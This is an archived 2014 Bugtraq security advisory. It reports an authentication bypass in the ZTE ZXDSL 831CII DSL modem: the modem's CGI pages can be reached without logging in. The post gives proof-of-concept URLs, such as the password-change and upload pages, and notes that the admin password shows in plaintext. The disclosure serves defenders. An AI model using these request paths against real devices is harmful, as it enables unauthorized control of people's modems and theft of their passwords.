lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201411061928.sA6JSriF003710@sf01web1.securityfocus.com>
Date: Thu, 6 Nov 2014 19:28:53 GMT
From: habte.yibelo@...il.com
To: bugtraq@...urityfocus.com
Subject: ZTE ZXDSL 831CII Direct Object Reference

The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full access to the modem and then can easily be used to root the modem and disrupt network activities. 

So requesting modem.ip.address would result HTTP Authentication request, but simply requesting http://192.168.1.1/main.cgi will bypass it.

PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the current password (unencrypted)
http://192.168.1.1/userpasswd.cgi
http://192.168.1.1/upload.cgi
http://192.168.1.1/conprocess.cgi
http://192.168.1.1/connect.cgi

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ